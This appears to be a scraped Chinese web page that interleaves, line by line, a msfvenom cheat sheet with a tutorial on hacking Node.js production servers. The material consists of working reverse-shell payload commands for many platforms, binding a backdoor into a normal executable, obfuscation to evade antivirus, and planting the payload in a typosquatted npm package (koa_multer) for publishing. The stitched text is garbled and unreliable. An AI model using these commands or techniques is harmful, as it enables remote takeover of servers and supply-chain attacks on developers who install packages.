添加载荷payload。 TL,DR: 载荷这个东西比较多,这个软件就是根据对应的载荷" />
欢迎访问必赢官网公司网站!


互联网信息

MENU

当前位置 : 必赢官网 > 互联网信息 >
互联网信息

js生产服务器的,Msfvenom学习总结

点击: 56 次  来源:http://www.imenparto.com 时间:2020-01-01

原标题:我是这样黑进你Node.js生产服务器的

1.    –p (- -payload-options)

来源:HackingSexy

style="font-size: 16px;">

添加载荷payload。

TL,DR:

载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了!!!

这篇文章讲述了从一个黑客的角度,以渗透前端项目为目标,从生成 payload,混淆,隐藏 payload,发布 npm,社会工程学提 PR,运行脚本,反向连接到攻击主机,最终主机拿到服务器 shell 的故事。

(- -payload-options 列出payload选项)

正片:

2.    –l

前端工程师的口头禅是啥?npm install!

查看所有payload encoder nops。

这个命令从 npm 仓库中下载一堆从项目 package.json 中声明的依赖,下载完依赖后,再下载依赖中 package.json 声明的依赖,下载完依赖的依赖后,再下载依赖中 package.json 声明的依赖中的 package.json 声明的依赖,下载完依赖后…………

3.    –f (- -help-formats)

然后下了一堆你都不知道从哪里来的 npm 包。

输出文件格式。

图片 1

(- -help-formats 列出所有文件格式)

图片 2

Executable formats:

前端工程师的另一个口头禅是什么?npm run dev!

asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

嗯!界面显示 compile successful!很完美的一次编译!你觉得是时候展示真正的技术了!

Transform formats:

此时,在网线的另一端,一个黑客微微一笑:又有一个肉鸡上线了。

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

这中间都发生了什么?

4.    –e

生成 Payload

编码免杀。

经验丰富的金鱼佬都知道,要钓鱼,是肯定要先做鱼钩的。黑客也要钓鱼,鱼钩是啥?在黑客的世界里,有一个鱼钩店,叫做 msfvenom,专治各种款(架)式(构),各种型(语)号(言)的鱼(机器)。msfvenom 是 metasploit 的一部分,集成在了 Kali 系统里面。在 Kali 的官网,有现成的虚拟机镜像,下载了就能用。

5.    –a (- -platform  – -help-platforms)

在 Kali 的 Terminal 里输入:

选择架构平台

msfvenom -l | grep node

x86 | x64 | x86_64

可以列出所有支持 Node.js 的 payload。这相当于到店里问:老板!我要买鱼钩!要能钓 Node.js 的那种!老板:好嘞!要哪款?

Platforms:

图片 3

windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

图片 4

6.    –o

在这里,我们选择 nodejs/shell_reverse_tcp,其实业界最常用的 payload 是 meterpreter,但是这款鱼钩还没上市:

文件输出。

如何生成我们的 payload 呢,输入:

7.    –s

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.199.165 LPORT=5432 -o index.js

生成payload的最大长度,就是文件大小。

这里说一下配置的参数:

8.    –b

  • -p nodejs/shell_reverse_tcp 指的是我们要用 nodejs/shell_reverse_tcp 这个 payload;
  • LHOST=192.168.199.165 指的是攻击主机的 IP 地址,由于这次攻击是内网演示,所以用了内网 IP 。公网攻击的话,就要配个公网 IP;
  • LPORT=5432 攻击主机这边的监听端口,payload 运行后,被攻击方会尝试连接攻击主机的这个端口;
  • -o index.js 意思是输出到 index.js 这个文件中。

避免使用的字符 例如:不使用 ‘f’。

敲完命令之后,我们可以在当前目录拿到一个名为 index.js 的 payload,也就是我们刚买到的鱼钩。payload 很小很小,只有 803 字节。用

9.    –i

cat index.js

编码次数。

命令,可以看到 payload 长什么样。

10.         –c

图片 5

添加自己的shellcode。

图片 6

11.         –x | -k

这时候警觉的前端就会跳出来怼我:胸底,你这代码里又调用 cmd 又调用 /bin/sh,还把攻击 IP 和端口都暴露出来了,傻子才会运行你的代码哦?

捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

别急嘛,好戏才刚刚开始。

MSFVENOM实例

12.         普通生成

  1. msfvenom -p <payload> <payload options> -f <format> -o <path>

  2. msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:back.exe

13.         编码处理型

  1. msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path>

  2. msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:back.exe

14.         捆绑

  1. Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:nomal.exe –k –f exe –o C:shell.exe

15.         Windows

  1. Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:back.exe

  2. Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:back.exe

16.         Linux

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

17.         MAC

  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

18.         PHP

  1. msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

19.         Asp

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

20.         Aspx

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx

21.         JSP

  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

22.         War

  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

23.         Bash

  1. msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh

24.         Perl

  1. msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

25.         Python

  1. msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

 

 

转载:

混淆

传统的杀毒软件,是通过检测文件特定字符来确定病毒特征的,而通过修改特征码绕过杀毒软件的检测,我们称之为免杀。

而 Java 的变化,简直比海贼王里的路飞还要伸缩自如。

举个例子,一行简单的代码:

alert(1)

用 jsfuck 能把它变得连老妈都认不出来:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

当然我们不用 jsfuck,因为混淆过后的代码太大了。

前端喜欢用 UglifyJS 来压缩代码,但在这场景下,也许不是最优解。我们用 Java Obfuscator Tool。

复制 payload,打开 Obfuscate,一道菜就完成了。

图片 7

图片 8

现在已经没有人类能读懂这段代码了,混淆任务完成。

隐藏 payload

npm 是共产主义的大粮仓,任何人都可以贡献自己的代码到 npm 上去。但是如何让别人下载我们的代码呢?这是一门高深的学问。

常规的思路是,做一个和正常 npm 包名字很像的包名,譬如 koa-multer,可以做一个 koa_multer,然后总有一些人会打错字,下载到包含 payload 的包。这是一个概率问题,下载 koa-multer 的总量越大,下载 koa_multer 的量也越大。

以 koa-multer 为例,我们先把代码 clone 下载下来。

git clone

把我们生成的 payload 复制到项目路径下,并在 index.js 中引入这个文件。

把 package.json 和 README.md 里所有的 koa-multer 改成 koa_multer,并在 package.json 的 files 声明 payload 的文件名,我们就做好了一个带有 payload 的 npm 包。

拿到这个包,就可以发布到 npm 源了:

npm publish

为了演示,我在本地搭了一个 npm 服务器。